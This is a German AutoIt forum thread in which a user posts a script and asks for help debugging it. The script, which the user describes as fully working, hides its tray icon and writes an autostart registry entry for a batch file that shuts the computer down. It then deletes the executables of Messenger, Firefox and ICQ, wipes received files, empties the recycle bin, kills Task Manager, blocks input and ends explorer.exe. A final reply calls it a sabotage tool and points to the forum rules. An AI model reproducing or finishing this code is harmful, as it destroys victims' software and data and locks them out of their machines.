    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 7}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die ICQ.exe endgültig
    MouseMove(234, 132)
    MouseClick("left")
    Send("icq")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen", "Die Datei")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Löscht meine empfangenen Dateien

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0) ;; Relative x,y-Koordnate im aktiven Fenster
    ;; Löscht Ordner in "Meine empfangenen Dateien"
    Send ("#e")
    ;WinWaitActive("[CabinetWClass]", "")
    WinActivate("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send(@MyDocumentsDir)
    Send("{RIGHT}")

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(100)
    Send("\Meine empfangenen Dateien")
    Send("{Enter}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("^a")
    BlockInput(1) ;; Eingaben blockieren
    Send("{DEL}")
    Sleep(500)
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    FileRecycleEmpty("C:\") ;; Leert den Papierkorb

    [/autoit] [autoit][/autoit] [autoit]

    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)
    EndFunc

    While 1
    Sleep(10)
    WEnd

    BlockInput(0)

    [/autoit] [autoit][/autoit] [autoit]

    Exit

    [/autoit]
  • ok dein problem ist einfach nur dass du nicht genau weißt wie du funktionen aufrufst.

    eine if abfrage mit aufruf der funktion sieht so aus:

    [autoit]


    If ProcessExists("msnmsgr.exe") Then
    _GetPathByPID2($PID=-1)
    EndIf

    [/autoit]

    er sieht dann quasi:
    aha da steht _GetPathByPID2() --> das ist eine funktion --> ich muss diese suchen und ausführen

    die komplette funktion _GetPathByPID2(), also das hier:

    Spoiler anzeigen
    [autoit]


    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit]

    kannste dann ganz ans ende deines scripts hängen,

  • was genau macht denn das script alles? bzw was sollte es mal machen können?

    du hast sehr viele sachen drin von denen ich dir abraten würde ( unzählige sends z.B.)

    hab grad versucht dein script "aufzuräumen" aber da ist zu viel durcheinander. kanns nicht ordnen weil ich nicht weiß was genau es machen sollte

  • Hab es nun mal versucht so umzusetzen wie Du beschrieben hast.

    Ergebnis:

    Spoiler anzeigen
    [autoit]

    #include <winapi.au3> ;; Headerdatei einbinden

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit]

    ;;Überprüft ob das Fenster "Windows Task-Manager"
    ;;aktiviert ist, sollte das der Fall sein, wird dieses geschlossen.
    ;;Überprüft außerdem ob Prozess aktiv ist und setzt zum Schluss BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit]

    AdlibEnable("_CheckTaskmgr")

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then
    _GetPathByPID($PID=-1)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then
    _GetPathByPID2($PID=-1)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then
    _GetPathByPID3($PID=-1)
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;Erstellt die Batch-Datei und setzt den Reg-Eintrag zum Autostart

    [/autoit] [autoit][/autoit] [autoit]

    Send("#e")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Send("{F4}")
    Send("{DEL}")
    Send(@WindowsDir)
    Send("{ENTER}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("!")
    Send("d")
    Send("n")
    Send("t")
    Send("Services.bat")
    Send("{ENTER}")
    WinWaitActive("Umbenennen")
    Send("{ENTER}")
    Sleep(500)
    Send("!")
    Send("d")
    Send("b")
    WinWaitActive("Services.bat")
    Send("shutdown -s -t 120")
    Send("!{F4}")
    WinWaitActive("Editor")
    Send("{ENTER}")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services.exe", "REG_SZ", "C:\WINDOWS\Services.bat")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Windows Live Messenger ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then
    Opt("MouseCoordMode", 0)
    ShellExecute("msnmsgr.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("Windows Live Messenger")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    EndIf
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    $Title = "Windows Live Messenger"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID2($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    ;;Schaut nach ob die *.exe-Datei noch läuft,
    ;;sollte das der Fall sein wird diese beendet
    If ProcessExists("msnmsgr.exe") Then
    If ProcessExists("msnmsgr.exe") Then ProcessClose("msnmsgr.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    ;WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{ESC}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 11}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Windows Live Messenger.exe
    BlockInput(1) ;; Eingaben blockieren
    MouseMove(234, 132)
    MouseClick("left")
    Send("msnmsgr")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Mozilla Firefox ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then
    If ProcessExists("firefox.exe") Then ProcessClose("firefox.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 12}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Firefox.exe endgültig
    MouseMove(234, 132)
    MouseClick("left")
    Send("fire")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;ICQ ausfindig machen,
    ;;Pfad in Variable speichern, ausgeben in Adressleiste und *.exe-Datei löschen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then
    ShellExecute("ICQ.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("ICQ")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    $Title = "ICQ"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID3($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID3($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then
    If ProcessExists("ICQ.exe") Then ProcessClose("ICQ.exe")

    ;;Öffnet Explorer und sendet Dateipfad
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 7}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die ICQ.exe endgültig
    MouseMove(234, 132)
    MouseClick("left")
    Send("icq")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen", "Die Datei")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;Löscht meine empfangenen Dateien

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0) ;; Relative x,y-Koordnate im aktiven Fenster
    ;; Löscht Ordner in "Meine empfangenen Dateien"
    Send ("#e")
    ;WinWaitActive("[CabinetWClass]", "")
    WinActivate("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send(@MyDocumentsDir)
    Send("{RIGHT}")

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(100)
    Send("\Meine empfangenen Dateien")
    Send("{Enter}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("^a")
    BlockInput(1) ;; Eingaben blockieren
    Send("{DEL}")
    Sleep(500)
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    FileRecycleEmpty("C:\") ;; Leert den Papierkorb

    [/autoit] [autoit][/autoit] [autoit]

    ProcessClose("explorer.exe")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)
    EndFunc

    While 1
    Sleep(10)
    WEnd

    BlockInput(0)

    [/autoit] [autoit][/autoit] [autoit]

    Exit

    [/autoit]

    Leider funktioniert es noch immer nicht :D


    -------------------------------------

    Beschreibung des Script:
    -Es wird eine Batch-Datei erstellt
    -Davon wird ein Autostarteintrag in der Registry geschrieben
    -Die *.exe - Dateien von Windows Live Messenger, Firefox und ICQ werden ausgelesen
    -Er wechselt in das angegeben Verzeichnis und löscht dort die *.exe - Datei des Programms
    -Öffnen des Ordners "meine empfangenen Dateien" - Löschen dessen Inhalts
    -Kontrolle des Task-Managers, sollte dieser geöffnet sein wird dieser umgehend geschlossen und der Prozess abgeschossen.
    -Beendet explorer.exe


    P.S. Das gesamte Script in der Form ist voll lauffähig und soooooo oft getestet, ich wollte eben nun nur noch die Eventualität einbauen, das er nichts macht, wenn die *.exe nicht aktiv ist.

  • das ganze wird also so ein tolles programm wo sich der scripter darüber freut dass bei den anderen nichts mehr funktioniert.

    :thumbdown:

    durchlesen: https://autoit.de/index.php?page=Forumrules


    Zitat

    P.S. Das gesamte Script in der Form ist voll lauffähig und soooooo oft getestet, ich wollte eben nun nur noch die Eventualität einbauen, das er nichts macht, wenn die *.exe nicht aktiv ist.

    das bezweifle ich doch stark